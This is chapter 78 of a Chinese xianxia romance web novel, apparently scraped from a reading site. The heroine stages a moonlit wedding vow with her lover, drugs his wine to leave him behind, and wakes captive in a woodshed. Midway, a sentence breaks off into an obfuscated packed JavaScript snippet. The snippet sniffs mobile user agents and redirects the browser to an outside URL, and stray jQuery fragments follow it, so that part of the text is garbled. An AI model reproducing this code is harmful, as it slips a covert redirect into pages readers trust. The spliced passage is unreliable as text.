78. 结发

作品:《修仙大佬人均恋爱脑?

    风越来越凉,不知过了多久,天边终于裂开一道细缝,露出些青瓷似的微光,几个弟子奉命来接班,客客气气地对辞盈行礼。她吹了半宿冷风,又听白芷胡言乱语了一通,脑袋里的浆糊已经冻成一坨,流着鼻涕点了点头,晃荡回房间蒙头就睡。


    这一觉睡得很沉,再次恢复意识是被疼醒的,仿佛无数根针从后脑勺插进来,搅拌。睁眼一看,床边空荡荡。


    奇怪,钟离渊怎么一直不见人影,这醋王该不会又去找墨让尘的麻烦了吧。


    辞盈坐起来稳了稳,幸好胳膊腿都还利索,只是头疼欲裂,记忆也越来越不连贯,果真病来如山倒,按照这个发展速度,自己恐怕撑不到十日了。


    她从乾坤袋里捣腾半天,总算翻出一方素帕,药草味浓得发苦。


    在墓室留着它本是为了防蜈蚣,出了门便忘在脑后,没想到竟还有用它救命的一天。辞盈推开窗,被橙红色的夕阳晃得眯了眯眼,天边燃起绚烂的晚霞,暮苍山美得像个未谙世事的小姑娘,对即将到来的危机一无所知。


    一声口哨,雪鸮扑腾着落在窗棂上,她将素帕卷成长条系在雪鸮腿上,刚念完咒便听见一声厉喝:“你在做什么!”


    雪鸮吓得一哆嗦,箭似的扑棱棱窜没影了。


    辞盈循声左望,见钟离渊正匆匆而来,面色不善。她刚给霍辛夷暗送信物,有种出轨被捉现行的心虚:


    “没没没做什么啊,玩玩玩儿鸟。”


    没想到后脑勺也传来个回音:“没没没做什么啊……”


    辞盈心说谁吃饱了撑的这么能添乱,学结巴说话有意思吗?


    往右一扫,竟是个清秀的小弟子,个子不高,又瘦得跟手里的扫帚差不多细,不知为何杵在她窗边,一见她便红了脸,低着头解释:“抱歉,我只是路过,想跟师姐打个招呼,绝不敢有冒犯之意。”


    钟离渊站定了,几乎高出小弟子两个头,居高临下地审视着瑟瑟发抖的小倒霉蛋:“谁允许你靠近这里的。”


    倒霉蛋求生欲强,摇头如拨浪鼓。钟离渊还想说话,被辞盈一把拉进门里,咣当上了锁。


    “刚才那雪鸮……”


    “抓来烤着吃的!可惜被它跑掉了,哈哈,下次有机会再给你做奥尔良烧鸟吧。”辞盈一边胡言乱语,一边瞄着窗外看雪鸮飞远了没。


    “晚晚,我想带你走。”钟离渊忽然道。


    辞盈回头看他,有些意外。


    钟离渊是什么脾气?是被墨让尘捅了一剑转眼就去单挑烛龙,气儿还没喘匀就又孤身一人杀回三大派包围圈的犟种,在他的字典里,就没有知难而退四个字。


    就算是之前辞盈要龟缩在逍遥山庄,他也像个压不住的炮仗似的,几次三番撺掇着申请出战。如今霍辛夷又是书信又是凤冠,就差把战书贴脑门上了,钟离渊居然提出要走,避而不见。


    看来的确是山穷水尽了。


    她正踌躇着不知如何回答,钟离渊却又笑了笑:“逗你的,傻瓜,当真了?”


    辞盈还没开口,嘴里被塞了块东西,牙齿一碾就溢满了花生的香甜。钟离渊将整包花生糖抛在手里,得意道:“好吃吗?刚从隔壁小童手里抢的。”


    这糖又甜又粘牙,半天嚼不烂,辞盈竖起拇指,口齿不清道:“哇,嗨始打劫小朋友了,好了唔起……恶贯满盈呃你。”


    钟离渊百无聊赖地岔着腿往凳子上一坐,倒了杯清茶,自斟自饮:“这破山实在无趣,结界一罩,连半只耗子精也没有,我不抢劫还能做什么?拜佛吗?”


    辞盈叹了口气:“对不起,拖累你陪着我……”


    “晚晚,你我之间不说这个。”


    他打断她,然后露出一种很不放心的爹系神情,


    “明日我要出去一趟,你自己在这多长个心眼,别什么阿猫阿狗都轻易相信。像刚才那个贼眉鼠眼的,一看就没安好心。”


    自从跟钟离渊在一起,但凡是个成年男性多看她一眼,他都直接给定性为居心叵测,不许近身,好像她就是块肥肉,遍地都是饿狗,一眼不看着就得让人叼走。


    “你要去哪?”辞盈问。


    “蒲昌海。”


    她叫花生噎了一下:“干嘛去?”


    钟离渊将茶递到她手上,徐徐道:“你那鬼附身的师兄翻了古册记载,说是钟离桀与墨翊在反目之前,曾经共创过一个‘双星阵法’,以双脉灵力交织成网,对敌时有事半功倍之效,传得有模有样。他撺掇我和你师尊试试,或许可以对付那疯子。结果,嗯,怎么说呢……”


    “怎么说?”辞盈睁大了眼。


    “八字不合,一窍不通。”钟离渊一脸嫌弃地总结,“墨让尘练的什么鬼心法,絮絮叨叨,听得人头疼。”


    “水云剑宗的心法是这样的,有点绕,慢慢来就好了。”辞盈笑道,“那你去蒲昌海做什么?”


    “我与墨让尘属性相逆,简直水火不容,勉强试了几次,阵法始终滞涩难成。”钟离渊眉间皱起,思索道,“正缺一味调和之物。晚晚,你还记得吗,在泑泽碧池中曾看过钟离桀与墨翊二人的影像?”


    “当然记得。”


    “或许问题就出在这里,壁垒难破,若要成阵,我就需要借泑泽碧池之力,打通它。”


    “不行!”


    辞盈立刻反对,“当时那个守墓的姐姐邀你入池,你忘了你是怎么答的?你忘了那个盗墓人死得多惨了?化在池子里捞都捞不出来!”


    “我未必会化。”钟离渊脚高高地搭在桌边,身子后仰,漫不经心地枕着胳膊,“毕竟我已经很久没杀人了。”


    辞盈一巴掌拍掉他高架的腿,怒道:“未必?钟离渊,你打通双星阵便是为了对付霍辛夷,以杀心入池,本意即恶,还指望能全须全尾的活着出来吗?”


    “这可冤枉了,我本意并非杀心。”钟离渊去牵她的手,捞了一下没捞着,没皮没脸地笑道,“旁人死活与我何干?我一片赤诚只为晚晚,碧池难道还不能体谅吗?”


    “强词夺理……”


    她正要发火,却被他拉住手腕带到怀里,坐在了腿上。他手臂环着她,从后面贴着耳边撒娇:“我明日便走了,别生气了,陪陪我好不好?”


    辞盈沉默了半晌,看着夕阳在窗上的投影渐渐黯淡,屋子终于陷入一片漆黑。身后的人也不言不语,只拥着她,呼吸很轻,不知在想什么。


    “我想成亲。”


    辞盈说完,感觉他的呼吸顿了一下,拥着她的手臂紧了紧:


    “处理完这些事,我们就回逍遥山庄,成亲。”


    “我要在这办。”


    “……好,等我回来就办。”


    “我现在就要。”


    “这可如何是好,晚晚被我迷得神魂颠倒,一刻也等不了了。”钟离渊厚着脸皮笑道,“可是现在无媒无聘,连一支花烛也没有,如何能办喜事?”


    “喜服我们不是穿过了?在褚家庄,高头大马你骑了,花轿我也坐过,没什么稀罕的。你我都没有高堂可拜,只需拜一位重要的证婚人,再饮了合衾酒便是。”


    “证婚人么,你师尊已经先行一步去泑泽了。”


    “不是他。”


    辞盈站起来,推开门走出去,伸手接了一捧皎洁如雪的月光


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306160|195737||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“你看,证婚人的贺礼已经送到了。”


    “这……太委屈你了。”钟离渊迟疑道:“晚晚,还是等我回来再说,我怕……”


    “今日你若拒绝我,以后就再别想了。”辞盈脸冷得像没熟透的秋桃结了霜,硬邦邦的,“我不吃回头草。”


    钟离渊无奈地笑:“不敢让女侠回头,晚晚要嫁,刀山火海我也要去娶的。”


    夜色寂凉如水,辞盈拉了钟离渊跪在地上,向着空中高悬的明月,端端正正地拜了三拜。


    “结发为夫妻,恩爱两不疑。生当复来归,死当长相思。”她仰头望月,脸庞被月光照得雪白,尾音却颤了一下,像紧绷的琴弦勉强拨弄不成曲的喜调。


    钟离渊沉默地听着,心绪起伏不定,想一言九鼎地告诉她别担心,好好等我回来,又怕自己最后真化成一滩血水,安慰都变成了空口白话,终是要留她一人在这世上。


    一念及此,五内都烦躁起来,他瞧着她回房,从床底下翻出两支旧红烛,点燃了并排摆在窗边,又找出两个瓷杯,仔细擦干净了,将之前喝剩的半瓶米酒倒上大半杯,往前一推:“来。”


    钟离渊却不肯上当,了然地笑:“饮酒误事,晚晚,待我回来再陪你一醉方休。”


    辞盈也没生气,自己仰头干了杯中酒,呛咳了两下,辛辣的味道熏红了眼眶,像丢了胡萝卜的兔子。


    “以前在我家附近,我经常看见一只流浪猫咪带着幼崽生活,一起出双入对。没想到,在小猫三个月大的时候,有一天猫妈妈突然抛弃了它。”


    她长出了一口气,像是下了某种决心,语气反而轻快了些:“你说,是被抛弃更痛苦,还是主动抛弃所爱更痛苦?留下的人如果能有幸忘记一切,是不是就解脱了?”


    红烛映着钟离渊眉心的花钿动了一下,他终于忍不住,也不管能不能做到,不负责任地起誓:


    “晚晚,我保证绝不抛下你,一定活着回来。”


    “骗人。”


    辞盈抹了一把脸上的泪水,又端起他的酒杯喝了一大口,然后将他推倒在榻上,缠绵地吻上去。钟离渊只觉得美人香软,甜辣的酒香顺着唇齿渡进喉管,仿佛掺杂着什么东西,视线骤然模糊,脑袋一歪晕了过去。


    “可我必须抛下你。”


    她轻轻吻在他眉骨上,然后熄了烛火,枕在钟离渊胸口躺着。如同还在逍遥山庄的小院里,最最平凡的一夜,她缠着他要学易容幻术,他作势逃跑却每次都被她强压在床上,挣扎得像滩涂上垂死的鱼。


    有一次逼急了,他说易容幻术损阳寿,不教。辞盈便无所谓道,你比我大三百岁,我损些阳寿,岂不正好能白头偕老?


    钟离渊闻言,难得露出不悦的厉色,敢再胡说就抓虫子扔进你被子里。


    辞盈不以为然,若要我拖着病体残躯独自在这世上活受罪,还不如眼下痛快,时辰到了我自己去死。


    那时候她信口胡诌,觉得死这个字还遥不可及。


    昏暗的房间只有桌边一隅月光,她闭上眼,自言自语:“我怕疼,怕死,怕黑,怕孤独,怕自己会变成一个任人欺负的疯子,最后连你也认不出……钟离渊,对不起,我始终是个自私的人。”


    耳朵动了动,她听见窗外的异动,眼皮却有千斤重,意识沉沉地坠入深谷。


    不知过了多久,她闻见一股土腥气混着霉味儿,挣扎着坐起来打量四周,竟是一间废旧的柴房,身下被树枝木棍硌得难受,手腕也被麻绳捆着。她挣了挣,发现浑身软绵绵使不上半点力气,真是哭笑不得。


    旧毒还没解又添迷药,这身体快赶上培养皿了。